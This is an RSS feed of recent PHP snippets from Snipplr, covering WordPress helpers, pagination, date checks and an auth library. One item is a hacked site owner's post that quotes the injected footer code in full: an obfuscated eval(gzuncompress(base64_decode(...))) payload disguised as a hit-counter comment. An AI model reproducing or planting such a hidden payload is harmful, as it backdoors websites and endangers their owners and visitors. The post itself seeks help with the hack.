<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>Snipplr</title>
<link>http://snipplr.com/language/php</link>
<description>Recent snippets posted on Snipplr.com</description>
<language>en-us</language>
<pubDate>Mon, 13 Feb 2012 21:02:06 GMT</pubDate>
<item>
<title>(PHP) Wordpress: Customized Excerpt (Length and Tags) - visualadvance</title>
<link>http://snipplr.com/view/63294/wordpress-customized-excerpt-length-and-tags/</link>
<description><![CDATA[ <p>This is a modified version of one from Aaron Russell. Super handy, allows you to pass the length as a parameter, and define the tags you wish to allow in the excerpt. It is tweaked to fit our needs. Tweaks include:
- no need to "echo", just called custom_excerpt ();
- Can pass the length as a parameter custom_excerpt (81);</p> ]]></description>
<pubDate>Mon, 13 Feb 2012 13:07:16 GMT</pubDate>
<guid>http://snipplr.com/view/63294/wordpress-customized-excerpt-length-and-tags/</guid>
</item>
<item>
<title>(PHP) jQuery syle DOM navigation in PHP with phpQuery - FatFolderDesigner</title>
<link>http://snipplr.com/view/63292/jquery-syle-dom-navigation-in-php-with-phpquery/</link>
<description><![CDATA[ <p>Navigating the DOM in jQuery is incredibly simple and thats to phpQuery you can do the same in php. Below are some examples of how it's used, the key change bing that instead of $() you use pq(), and instead of a . you used ->. Theres alot more details information at the link if your interested. Post questions/comments here or there.

You can get the phpquery files, and well as read the manual at the google code page here: http://code.google.com/p/phpquery/</p> ]]></description>
<pubDate>Mon, 13 Feb 2012 09:55:58 GMT</pubDate>
<guid>http://snipplr.com/view/63292/jquery-syle-dom-navigation-in-php-with-phpquery/</guid>
</item>
<item>
<title>(PHP) My website was hacked with this - AlexanderRavikovich</title>
<link>http://snipplr.com/view/63291/my-website-was-hacked-with-this/</link>
<description><![CDATA[ <p>My website was hacked. I dont use WordPress, i used Codeigniter.

			I found an php syntax error on my page in footer.php file.

			When i opened footer.php, I sew this added code to the  url of link:


			&amp;lt;a href=&amp;quot;&amp;lt;?php
			//Webalizer Hit Counter For Website
			eval(gzuncompress(base64_decode(&amp;#39;eF6Nkw9rozAYxr+Kk6EGyuh2f+CQcFdW297h7BZ17ChDokbNNZpi4na70u9+0WvXdnfFA8Hk5fc8Sd4noZl1RoUg0joXiMj6BYB1zniMmbYt2Ns/vFSjUJB6lJNKQiFryRl/JrV1HvkOunfQwpwFwW0Uqlk0mjpeYD4CpZHXTc1muEoZgV7ouruSS6sl1HWbZpal3NRnHSwwMHPOc0ZMAKGWYSYIMIx/ci+44LwfizFNm36sFFU/xFekxv1YUtS8/I8TxLTK+ymBM1zTfi7m8gACa9XfbcKvOSHnZh440Wg8Riojxcq6IZphaG/BLtDZ3A/2GFgf5hdjQT6+j1KS8JRYJp6hYTLmT+7VZJmW9z/iqw8lfvgm3dJ7iv1Pv9LpZOi+84bfH+6aZFo8m0C7MD/TFTS1C2VJqs7m1EYVazTqoLi7gceSfQc6LOUlplWFS3LK+vBorSJrGFthWZzeyl3o+EEUoq9bRVKQZNniu65NnWBhMs6Xf1/8RA0jWtH2nb12D9ibjUrniNTOVJ/bZwLWnUY585U8ZgbXIXLnt0GEnCBEXoBGnj9x0OASdI9VNEzCL52a/CTJsRbY3Yp/qMXwEUJ9rreZ7iu6ptskKbi2K9qbzixhXJC3bpvNbzILaXQ=&amp;#39;))); ?&amp;gt;/&amp;quot; class=&amp;quot;store points&amp;quot;&amp;gt;&amp;lt;span&amp;gt;Симпатии +&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;


			What I found in the internet, is about vulnerability in &amp;quot;timthumb.php&amp;quot; of WordPress. But, as I said, I dont use Wordpress and dont use TimThumb ... so, it&amp;#39;s strange...</p> ]]></description>
<pubDate>Mon, 13 Feb 2012 07:42:05 GMT</pubDate>
<guid>http://snipplr.com/view/63291/my-website-was-hacked-with-this/</guid>
</item>
<item>
<title>(PHP) Register Nav Menu - shufflepath</title>
<link>http://snipplr.com/view/63276/register-nav-menu/</link>
<description><![CDATA[ <p></p> ]]></description>
<pubDate>Sat, 11 Feb 2012 14:51:38 GMT</pubDate>
<guid>http://snipplr.com/view/63276/register-nav-menu/</guid>
</item>
<item>
<title>(PHP) Custom Post Type and Taxonomies - shufflepath</title>
<link>http://snipplr.com/view/63275/custom-post-type-and-taxonomies/</link>
<description><![CDATA[ <p></p> ]]></description>
<pubDate>Sat, 11 Feb 2012 14:51:28 GMT</pubDate>
<guid>http://snipplr.com/view/63275/custom-post-type-and-taxonomies/</guid>
</item>
<item>
<title>(PHP) Php check for the top of the hour - poot26</title>
<link>http://snipplr.com/view/63267/php-check-for-the-top-of-the-hour/</link>
<description><![CDATA[ <p>Php check for the top of the hour</p> ]]></description>
<pubDate>Sat, 11 Feb 2012 12:03:30 GMT</pubDate>
<guid>http://snipplr.com/view/63267/php-check-for-the-top-of-the-hour/</guid>
</item>
<item>
<title>(PHP) Pagination using twitter bootstrap styles - bitsculptor</title>
<link>http://snipplr.com/view/63258/pagination-using-twitter-bootstrap-styles/</link>
<description><![CDATA[ <p>this can be adapted by simply changing the urls. starts with an array for incoming data.</p> ]]></description>
<pubDate>Sat, 11 Feb 2012 06:20:15 GMT</pubDate>
<guid>http://snipplr.com/view/63258/pagination-using-twitter-bootstrap-styles/</guid>
</item>
<item>
<title>(PHP) Sort multidimensional array - bitsculptor</title>
<link>http://snipplr.com/view/63256/sort-multidimensional-array/</link>
<description><![CDATA[ <p>This sorts a multi-dimensional array by one of the values in the array. Sorts in Desc order (most recent date first).</p> ]]></description>
<pubDate>Sat, 11 Feb 2012 06:17:10 GMT</pubDate>
<guid>http://snipplr.com/view/63256/sort-multidimensional-array/</guid>
</item>
<item>
<title>(PHP) Facebook Fan/Like Gate using PHP - the_construct</title>
<link>http://snipplr.com/view/63248/facebook-fanlike-gate-using-php/</link>
<description><![CDATA[ <p>Show and hide content based on whether or not a user has clicked the 'Like' button of an app.</p> ]]></description>
<pubDate>Sat, 11 Feb 2012 02:34:09 GMT</pubDate>
<guid>http://snipplr.com/view/63248/facebook-fanlike-gate-using-php/</guid>
</item>
<item>
<title>(PHP) Logic - shyno</title>
<link>http://snipplr.com/view/63227/logic/</link>
<description><![CDATA[ <p>Cows and Bulls logic game</p> ]]></description>
<pubDate>Fri, 10 Feb 2012 09:00:54 GMT</pubDate>
<guid>http://snipplr.com/view/63227/logic/</guid>
</item>
<item>
<title>(PHP) mktime bug, Date Output doesn't same with the input - kh411d</title>
<link>http://snipplr.com/view/63206/mktime-bug-date-output-doesnt-same-with-the-input/</link>
<description><![CDATA[ <p>This is strange, timestamp from this date 30 Jan 2012 doesn't output the same date from mktime</p> ]]></description>
<pubDate>Thu, 09 Feb 2012 21:56:12 GMT</pubDate>
<guid>http://snipplr.com/view/63206/mktime-bug-date-output-doesnt-same-with-the-input/</guid>
</item>
<item>
<title>(PHP) CompCalc - pimteam</title>
<link>http://snipplr.com/view/63156/compcalc/</link>
<description><![CDATA[ <p>This class calculates compounded interest on investment, saving or loan. 
 It allows variable compounding (reinvesting) percentage 
 To do: add different types of loan calculations. 
 Will be useful for all kind of financial calculators and apps. 
 Here's a page where you can see the class used: http://sharkinvestor.com/investment-calculator/</p> ]]></description>
<pubDate>Wed, 08 Feb 2012 00:49:49 GMT</pubDate>
<guid>http://snipplr.com/view/63156/compcalc/</guid>
</item>
<item>
<title>(PHP) checkdate - Dapsy</title>
<link>http://snipplr.com/view/63110/checkdate/</link>
<description><![CDATA[ <p>Function which can be used as wrapper for default PHP checkdate function. Will automatically parse given date (string or integer format).</p> ]]></description>
<pubDate>Tue, 07 Feb 2012 00:31:42 GMT</pubDate>
<guid>http://snipplr.com/view/63110/checkdate/</guid>
</item>
<item>
<title>(PHP) Auth Library - mladoux</title>
<link>http://snipplr.com/view/63102/auth-library/</link>
<description><![CDATA[ <p>This is an authentication library that I'm working on for a school project. No, I'm not asking for any help, just sharing. Obviously some parts are commented out because I haven't gotten to them yet, and I'm just testing the parts that are finished at this point. There is no attempt made at any kind of permission scheme in this library, nor will there be one. If you want to use it, feel free, but I do not warrant that it will be the most secure of systems, nor will I say that it will make your site un-hackable ( as if there was anything that could EVER do that, lol ). But enjoy.</p> ]]></description>
<pubDate>Mon, 06 Feb 2012 11:46:56 GMT</pubDate>
<guid>http://snipplr.com/view/63102/auth-library/</guid>
</item>
<item>
<title>(PHP) Show if Front page and not Paginate - Farhan</title>
<link>http://snipplr.com/view/63085/show-if-front-page-and-not-paginate/</link>
<description><![CDATA[ <p>This will show content between this only on frontpage of the website. By default if you have blog on frontpage and goto page 2 or 3 you'll still see the content.</p> ]]></description>
<pubDate>Mon, 06 Feb 2012 01:27:01 GMT</pubDate>
<guid>http://snipplr.com/view/63085/show-if-front-page-and-not-paginate/</guid>
</item>
<item>
<title>(PHP) Wordpress: Easy Pagination - visualadvance</title>
<link>http://snipplr.com/view/63081/wordpress-easy-pagination/</link>
<description><![CDATA[ <p>Make sure to put the code from the URl in your functions. php</p> ]]></description>
<pubDate>Sun, 05 Feb 2012 18:06:53 GMT</pubDate>
<guid>http://snipplr.com/view/63081/wordpress-easy-pagination/</guid>
</item>
<item>
<title>(PHP) Wordpress: Loop in Category - visualadvance</title>
<link>http://snipplr.com/view/63080/wordpress-loop-in-category/</link>
<description><![CDATA[ <p>Just a snippet so I remember how to do a loop through just a certain category.</p> ]]></description>
<pubDate>Sun, 05 Feb 2012 15:22:37 GMT</pubDate>
<guid>http://snipplr.com/view/63080/wordpress-loop-in-category/</guid>
</item>
<item>
<title>(PHP) Upload and resize - pruntrut</title>
<link>http://snipplr.com/view/63073/upload-and-resize/</link>
<description><![CDATA[ <p></p> ]]></description>
<pubDate>Sun, 05 Feb 2012 05:44:12 GMT</pubDate>
<guid>http://snipplr.com/view/63073/upload-and-resize/</guid>
</item>
<item>
<title>(PHP) Upload -> resize multiple  - pruntrut</title>
<link>http://snipplr.com/view/63072/upload--resize-multiple-/</link>
<description><![CDATA[ <p></p> ]]></description>
<pubDate>Sun, 05 Feb 2012 05:44:03 GMT</pubDate>
<guid>http://snipplr.com/view/63072/upload--resize-multiple-/</guid>
</item>
<item>
<title>(PHP) Loop dans repertoire - pruntrut</title>
<link>http://snipplr.com/view/63071/loop-dans-repertoire/</link>
<description><![CDATA[ <p></p> ]]></description>
<pubDate>Sun, 05 Feb 2012 05:44:01 GMT</pubDate>
<guid>http://snipplr.com/view/63071/loop-dans-repertoire/</guid>
</item>
</channel>
</rss>
